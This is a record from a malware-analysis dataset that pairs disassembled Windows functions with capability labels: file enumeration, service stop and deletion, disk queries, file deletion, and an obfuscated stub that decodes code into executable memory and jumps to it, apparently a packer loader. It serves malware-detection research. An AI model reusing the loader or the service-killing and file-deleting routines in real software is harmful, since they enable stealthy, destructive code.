joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44e5d8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
xor edx, edx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0xc], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x44e7ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x154]
mov eax, ebx
call fcn.004083b4
cmp dword [ebp - 0x154], 0
jne 0x44e660
lea eax, [ebp - 0x158]
call fcn.00408948
mov eax, dword [ebp - 0x158]
lea edx, [ebp - 0xc]
call fcn.0040bff0
jmp 0x44e66a
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0040bff0
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x15c]
mov ecx, 0x44e81c
mov edx, dword [ebp - 0xc]
call fcn.00403dd8
mov eax, dword [ebp - 0x15c]
call fcn.00403f50
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x44e7d9
xor eax, eax
push ebp
push 0x44e7d2
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x150], 0x10
je 0x44e706
cmp byte [ebp - 0x124], 0x2e
je 0x44e7a3
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00403d20
mov ecx, dword [ebp - 0x164]
lea eax, [ebp - 0x160]
mov edx, dword [ebp - 0xc]
call fcn.00403dd8
mov eax, dword [ebp - 0x160]
call fcn.0044e5d8
add dword [ebp - 8], eax
adc dword [ebp - 4], edx
jmp 0x44e7a3
mov eax, dword [ebp - 0x134]
xor edx, edx
mov edx, eax
xor eax, eax
push edx
push eax
mov eax, dword [ebp - 0x130]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add dword [ebp - 8], eax
adc dword [ebp - 4], edx
jmp 0x44e7a3
test byte [ebp - 0x150], 0x10
je 0x44e77d
cmp byte [ebp - 0x124], 0x2e
je 0x44e7a3
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00403d20
mov ecx, dword [ebp - 0x16c]
lea eax, [ebp - 0x168]
mov edx, dword [ebp - 0xc]
call fcn.00403dd8
mov eax, dword [ebp - 0x168]
call fcn.0044e5d8
add dword [ebp - 8], eax
adc dword [ebp - 4], edx
jmp 0x44e7a3
mov eax, dword [ebp - 0x134]
xor edx, edx
mov edx, eax
xor eax, eax
push edx
push eax
mov eax, dword [ebp - 0x130]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add dword [ebp - 8], eax
adc dword [ebp - 4], edx
lea eax, [ebp - 0x150]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x44e72e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e7d9
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_FindClose_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e806
lea eax, [ebp - 0x16c]
mov edx, 7
call fcn.00403b14
lea eax, [ebp - 0xc]
call fcn.00403af0
ret
Function at 0x44e820
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
mov ebx, eax
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 4], eax
push 0xf01ff
mov eax, ebx
call fcn.00403f50
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x44e85e
call fcn.0040c798
xor edx, edx
push ebp
push 0x44e8d2
push dword fs:[edx]
mov dword fs:[edx], esp
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_StartServiceA
test eax, eax
jne 0x44e889
call fcn.0040c798
push 0x1f4
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_QueryServiceStatus
mov eax, dword [ebp - 0x24]
cmp eax, 2
je 0x44e889
cmp eax, 4
je 0x44e8b2
call fcn.0040c798
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e8d9
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret

Function at 0x44e8e0
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
mov ebx, eax
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 4], eax
push 0xf01ff
mov eax, ebx
call fcn.00403f50
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x44e91e
call fcn.0040c798
xor eax, eax
push ebp
push 0x44e99a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x24]
push eax
push 1
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_ControlService
test eax, eax
jne 0x44e969
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x426
je 0x44e969
call fcn.0040c798
jmp 0x44e969
push 0x1f4
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_QueryServiceStatus
cmp dword [ebp - 0x20], 3
je 0x44e952
cmp dword [ebp - 0x20], 1
je 0x44e97a
call fcn.0040c798
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e9a1
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
Function at 0x44e9c8
Capabilities:
Get disk information via ioctl
Get storage device properties

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe98
mov dword [esp], eax
xor ebp, ebp
push 0x12
push 0
push 0
push 0x453bf8
call sub.SetupApi.dll_SetupDiGetClassDevsA
mov esi, eax
cmp esi, 0xffffffff
je 0x44eb2c
xor edi, edi
mov dword [esp + 0x10], 0x1c
xor eax, eax
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
jmp 0x44eafe
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
push esi
call sub.SetupApi.dll_SetupDiGetDeviceInterfaceDetailA
test eax, eax
jne 0x44ea72
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x7a
jne 0x44ea72
lea eax, [esp + 8]
mov edx, dword [esp + 4]
call fcn.00402748
mov eax, dword [esp + 8]
mov dword [eax], 5
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
push esi
call sub.SetupApi.dll_SetupDiGetDeviceInterfaceDetailA
test eax, eax
je 0x44eb1d
push 0
push 0
push 3
push 0
push 3
push 0
mov eax, dword [esp + 0x20]
add eax, 4
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x44eb1d
push 0
lea eax, [esp + 0x10]
push eax
push 0xc
lea eax, [esp + 0x38]
push eax
push 0
push 0
push 0x2d1080
push ebx
call sub.kernel32.dll_DeviceIoControl
test eax, eax
je 0x44eaf7
mov eax, dword [esp + 0x30]
cmp eax, dword [esp]
jne 0x44eaf7
xor eax, eax
mov dword [esp + 0x38], eax
xor eax, eax
mov dword [esp + 0x3c], eax
push 0
lea eax, [esp + 0x10]
push eax
push 0x124
lea eax, [esp + 0x50]
push eax
push 0xc
lea eax, [esp + 0x4c]
push eax
push 0x2d1400
push ebx
call sub.kernel32.dll_DeviceIoControl
test eax, eax
je 0x44eaf7
mov ebp, dword [esp + 0x60]
push ebx
call sub.kernel32.dll_CloseHandle_1
inc edi
test ebp, ebp
jne 0x44eb1d
lea eax, [esp + 0x10]
push eax
push edi
push 0x453bf8
push 0
push esi
call sub.SetupApi.dll_SetupDiEnumDeviceInterfaces
test eax, eax
jne 0x44ea0d
mov eax, dword [esp + 8]
call fcn.00402730
push esi
call sub.SetupApi.dll_SetupDiDestroyDeviceInfoList
mov eax, ebp
add esp, 0x168
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x44eb3c
Capabilities:
Get disk information
Get disk information via ioctl

Disassembly:
push ebx
push esi
add esp, 0xfffffde8
mov ebx, eax
push 0x104
lea eax, [esp + 8]
push eax
mov eax, ebx
call fcn.00403f50
push eax
call dword [0x455ae8]
test eax, eax
je 0x44eb71
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 3
je 0x44eb75
xor eax, eax
jmp 0x44eb77
mov al, 1
mov ebx, eax
test bl, bl
je 0x44ec2c
push 0x104
lea eax, [esp + 0x10c]
push eax
lea eax, [esp + 0xc]
push eax
call dword [0x455aec]
neg eax
sbb ebx, ebx
neg ebx
test bl, bl
je 0x44ec2c
lea eax, [esp + 0x108]
call fcn.004089d4
dec eax
mov byte [eax], 0
push 0
push 0
push 3
push 0
push 3
push 0
lea eax, [esp + 0x120]
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
cmp esi, 0xffffffff
setne bl
test bl, bl
je 0x44ec2c
push 0
lea eax, [esp + 4]
push eax
push 0xc
lea eax, [esp + 0x218]
push eax
push 0
push 0
push 0x2d1080
push esi
call sub.kernel32.dll_DeviceIoControl
neg eax
sbb ebx, ebx
neg ebx
push esi
call sub.kernel32.dll_CloseHandle_1
test bl, bl
je 0x44ec2c
mov eax, dword [esp + 0x210]
call fcn.0044e9c8
test eax, eax
je 0x44ec26
cmp eax, 4
je 0x44ec26
cmp eax, 7
jne 0x44ec2a
xor ebx, ebx
jmp 0x44ec2c
mov bl, 1
mov eax, ebx
add esp, 0x218
pop esi
pop ebx
ret
Function at 0x44f16c
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44f21f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x455af4]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
mov dword [0x455af4], eax
lea eax, [ebp - 4]
mov edx, 5
call fcn.00404288
mov eax, dword [ebp - 4]
mov dword [eax], 0x620064
add eax, 4
mov dword [eax], 0x63006c
add eax, 4
mov dword [eax], 0x6b
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov esi, eax
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.00404254
push eax
push esi
call sub.advapi32.dll_OpenServiceW
mov ebx, eax
lea eax, [ebp - 0x20]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
test eax, eax
je 0x44f1fd
push ebx
call sub.advapi32.dll_DeleteService
push ebx
call sub.advapi32.dll_CloseServiceHandle
push esi
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44f226
lea eax, [ebp - 4]
call fcn.0040413c
ret

Function at 0x44f22c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff60
push ebx
push esi
xor edx, edx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x44f3db
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
mov dword [ebp - 0xa0], 0x9c
lea eax, [ebp - 0xa0]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0x9c], 5
jne 0x44f3c5
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x44f2a0
mov dword [0x453c08], 0x38
mov eax, 0x44ecf0
mov dword [0x453c0c], eax
mov eax, 0x455af8
mov edx, 0x44f3f4
call fcn.00403b44
jmp 0x44f316
cmp eax, 1
jne 0x44f2dc
cmp word [ebp - 0xc], 2
jb 0x44f2c1
cmp dword [0x453c08], 0x42
je 0x44f2c1
mov eax, dword [0x453c0c]
mov eax, dword [eax]
mov dword [0x453c0c], eax
mov dword [0x453c08], 0x42
mov eax, 0x455af8
mov edx, 0x44f404
call fcn.00403b44
jmp 0x44f316
cmp eax, 2
jne 0x44f316
cmp word [ebp - 0xc], 1
jb 0x44f2fd
cmp dword [0x453c08], 0x45
je 0x44f2fd
mov eax, dword [0x453c0c]
mov eax, dword [eax]
mov dword [0x453c0c], eax
mov dword [0x453c08], 0x45
mov eax, 0x455af8
mov edx, 0x44f414
call fcn.00403b44
lea eax, [ebp - 4]
mov edx, 0x11
call fcn.00404288
mov eax, dword [ebp - 4]
mov dword [eax], 0x5c005c
add eax, 4
mov dword [eax], 0x5c002e
add eax, 4
mov dword [eax], 0x410044
add eax, 4
mov dword [eax], 0x410054
add eax, 4
mov dword [eax], 0x410042
add eax, 4
mov dword [eax], 0x450053
add eax, 4
mov dword [eax], 0x4f004c
add eax, 4
mov dword [eax], 0x4b0043
add eax, 4
xor edx, edx
mov dword [eax], edx
test esi, esi
je 0x44f39a
mov edx, 0x10
mov eax, esi
call fcn.004084ec
cmp eax, 0xffffffff
jne 0x44f38e
mov eax, esi
call fcn.0040852c
call fcn.004085b4
mov eax, esi
call fcn.0044ed48
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.00404254
push eax
call sub.kernel32.dll_CreateFileW
mov dword [0x455af4], eax
push 0
call fcn.0044ed00
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44f3e2
lea eax, [ebp - 4]
call fcn.0040413c
ret
Function at 0x45067c
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x450836
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebx + 0x38]
lea eax, [ebp - 0x2c]
mov ecx, 0x45084c
call fcn.00403dd8
mov ecx, dword [ebp - 0x2c]
mov dl, 1
mov eax, dword [0x44a4d0]
call fcn.0044a578
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x45080c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x450864
mov al, byte [0x450868]
push eax
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebx + 0x34]
mov ecx, 0x450874
mov edx, 0x450880
call fcn.0040c664
push dword [ebp - 0x30]
push 0x450864
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403e4c
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x45088c
mov edx, 0x45089c
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 4]
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x4508ac
mov edx, 0x45089c
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 4]
lea eax, [ebp - 0x28]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov ebx, dword [ebp - 0x20]
add ebx, 0x200000
shr ebx, 0x16
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x34], 0
lea edx, [ebp - 0x38]
xor ecx, ecx
mov eax, 0x4508c0
call fcn.004090fc
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x4508cc
mov edx, 0x45089c
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 4]
mov ebx, dword [ebp - 0x20]
add ebx, 0x800000
shr ebx, 0x18
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x34], 0
lea edx, [ebp - 0x38]
xor ecx, ecx
mov eax, 0x4508c0
call fcn.004090fc
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x4508ec
mov edx, 0x45089c
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 4]
mov ebx, dword [ebp - 0x20]
add ebx, 0x10000000
shr ebx, 0x1d
test ebx, ebx
jne 0x4507c6
mov ebx, 1
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x34], 0
lea edx, [ebp - 0x38]
xor ecx, ecx
mov eax, 0x4508c0
call fcn.004090fc
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x45090c
mov edx, 0x45089c
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
call dword [ebx + 4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450813
mov eax, dword [ebp - 8]
call fcn.00402de4
ret
Function at 0x4509c4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4509cc
push ecx
xor eax, eax
push ebp
push 0x450b4a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.004040c0
push 0x104
mov eax, dword [ebp - 4]
call fcn.00403f50
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov edx, eax
lea eax, [ebp - 4]
call fcn.004040c0
lea eax, [ebp - 4]
mov edx, 0x450b60
call fcn.00403d94
lea edx, [ebp - 8]
mov eax, dword [0x44c8cc]
call fcn.0044c928
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 4]
call fcn.00404da4
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0xe8]
call fcn.00405930
cmp word [ebp - 0x10], 0
je 0x450aeb
lea eax, [ebp - 0x24]
call fcn.00405834
push eax
push 0x450ba0
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x94]
call fcn.00405930
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0xc]
mov ecx, 0x450bc0
call fcn.00405868
cmp dword [ebp - 0xc], 0
je 0x450b01
lea eax, [ebp - 0x34]
mov edx, 0x450bd8
call fcn.00404da4
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push 0x450be4
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0xb4]
call fcn.00405930
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 4]
call fcn.00404da4
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push dword [ebp - 0x44]
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x108]
call fcn.00405930
jmp 0x450b01
mov ecx, 0x450c0c
mov dl, 1
mov eax, dword [0x407590]
call fcn.0040b494
call fcn.0040353c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450b51
lea eax, [ebp - 0x44]
mov edx, dword [0x4010b4]
mov ecx, 2
call fcn.004043c4
lea eax, [ebp - 0x24]
call fcn.00405834
lea eax, [ebp - 0x20]
call fcn.0040500c
lea eax, [ebp - 0xc]
call fcn.00405834
lea eax, [ebp - 8]
call fcn.00405834
lea eax, [ebp - 4]
call fcn.00403af0
ret

Function at 0x450c40
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x450ce0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x10
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004040c0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00403f50
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004040c0
push dword [ebx + 0x34]
push 0x450cf4
push dword [ebp - 4]
push 0x450d00
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403e4c
mov eax, dword [ebp - 4]
call fcn.00408624
test al, al
je 0x450cca
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, dword [ebp - 4]
call fcn.00408728
test al, al
je 0x450cb4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450ce7
lea eax, [ebp - 4]
call fcn.00403af0
ret
Function at 0x4523ec
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x174], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x168], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 0x16c], eax
xor eax, eax
push ebp
push 0x452526
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0040bff0
lea edx, [ebp - 0x168]
mov eax, esi
call fcn.0040bff0
lea eax, [ebp - 0x22]
xor ecx, ecx
mov edx, 0x1e
call fcn.00402afc
mov eax, dword [0x455afc]
call fcn.0042bdb0
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], 2
mov word [ebp - 0x12], 0x210
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x174]
mov ecx, 0x452540
mov edx, dword [ebp - 0x168]
call fcn.00403dd8
mov eax, dword [ebp - 0x174]
call fcn.00403f50
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xffffffff
je 0x4524fa
xor eax, eax
push ebp
push 0x4524f3
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
call fcn.004520ac
pop ecx
jmp 0x4524bb
push ebp
call fcn.004520ac
pop ecx
lea eax, [ebp - 0x164]
push eax
mov eax, dword [ebp - 0x170]
push eax
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x4524b4
push ebp
call fcn.00451f94
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4524fa
mov eax, dword [ebp - 0x170]
push eax
call sub.kernel32.dll_FindClose_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45252d
lea eax, [ebp - 0x174]
call fcn.00403af0
lea eax, [ebp - 0x168]
call fcn.00403af0
lea eax, [ebp - 4]
call fcn.00403af0
ret
Function at 0x452544
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
xor eax, eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x45267f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14c]
mov edx, dword [ebp + 8]
add edx, 0xfffffee8
mov ecx, 0x104
call fcn.00403d20
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ebp + 8]
mov edx, dword [eax - 4]
lea eax, [ebp - 4]
call fcn.00403dd8
lea eax, [ebp - 0x150]
mov edx, dword [ebp + 8]
add edx, 0xfffffee8
mov ecx, 0x104
call fcn.00403d20
mov ecx, dword [ebp - 0x150]
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x148]
lea eax, [ebp - 8]
call fcn.00403dd8
mov eax, dword [ebp + 8]
test byte [eax - 0x144], 0x10
je 0x4525fa
mov eax, dword [ebp + 8]
cmp byte [eax - 0x118], 0x2e
je 0x452654
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0045268c
jmp 0x452654
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14c]
add eax, 0x50
mov edx, dword [ebp - 4]
call fcn.00403b44
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14c]
push eax
push 0x45176c
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14c]
call fcn.00414cf8
lea eax, [ebp - 0x148]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403f50
push eax
call sub.kernel32.dll_GetFileAttributesExA
test eax, eax
jne 0x452654
mov eax, dword [ebp - 4]
call fcn.00403f50
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452686
lea eax, [ebp - 0x150]
mov edx, 2
call fcn.00403b14
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403b14
ret

Function at 0x45268c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x148], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 0x14c], eax
xor eax, eax
push ebp
push 0x452793
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0040bff0
lea edx, [ebp - 0x148]
mov eax, esi
call fcn.0040bff0
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x154]
mov ecx, 0x4527a8
mov edx, dword [ebp - 4]
call fcn.00403dd8
mov eax, dword [ebp - 0x154]
call fcn.00403f50
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xffffffff
je 0x452767
xor eax, eax
push ebp
push 0x452760
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
call fcn.00452544
pop ecx
jmp 0x45272f
push ebp
call fcn.00452544
pop ecx
lea eax, [ebp - 0x144]
push eax
mov eax, dword [ebp - 0x150]
push eax
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x452728
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452767
mov eax, dword [ebp - 0x150]
push eax
call sub.kernel32.dll_FindClose_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45279a
lea eax, [ebp - 0x154]
call fcn.00403af0
lea eax, [ebp - 0x148]
call fcn.00403af0
lea eax, [ebp - 4]
call fcn.00403af0
ret
Function at 0x407a20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x407a2f
pop dword [ebp - 0x24]
mov eax, 0x1e4392e3
add eax, 0xe1fce74c
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x89a1c08
sub dword [ebp - 0x34], 0xba47d6bd
mov dword [ebp - 0x30], 0xdcf5aea3
add dword [ebp - 0x30], 0x553d9da2
mov dword [ebp - 0x2c], 0x958b21d3
sub dword [ebp - 0x2c], 0x493edda5
mov dword [ebp - 0x28], 0x1e92f5a6
add dword [ebp - 0x28], 0xe16d0a5a
lea eax, [ebp - 0x34]
push eax
mov eax, 0xa62ce868
sub eax, 0xa5eb97e8
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xdde3d7c0
add dword [ebp - 0x34], 0x968e9196
mov dword [ebp - 0x30], 0x1d7e6291
sub dword [ebp - 0x30], 0xdc12011c
mov dword [ebp - 0x2c], 0xf18e4223
sub dword [ebp - 0x2c], 0x8e1ed5b7
mov dword [ebp - 0x28], 0xe1865908
add dword [ebp - 0x28], 0x1e79a6f8
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x1ec6081a
sub eax, 0x1e84b7ce
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36ce3
push 0
call eax
mov ecx, 0x3a0c
xor edi, edi
add edi, eax
mov edx, 0xb7a37607
add edx, 0x489e7df9
add edx, dword [ebp - 0x24]
mov esi, 0x50bf2a73
mov ebx, dword [edx]
sub dword [ebp - 0xc], 0x436d6e34
add ebx, esi
mov dword [edi], ebx
xor dword [ebp - 0x14], esi
add edi, 4
add edx, 4
loop 0x407b47
add eax, 0xdb03
xor ebx, ebx
add ebx, eax
add eax, 0x3d7353f4
add eax, 0xc28cac11
mov ecx, 0xcde3b6cd
sub ecx, 0xcda3b6cd
add ecx, dword [ebp - 0x24]
call ebx
leave
ret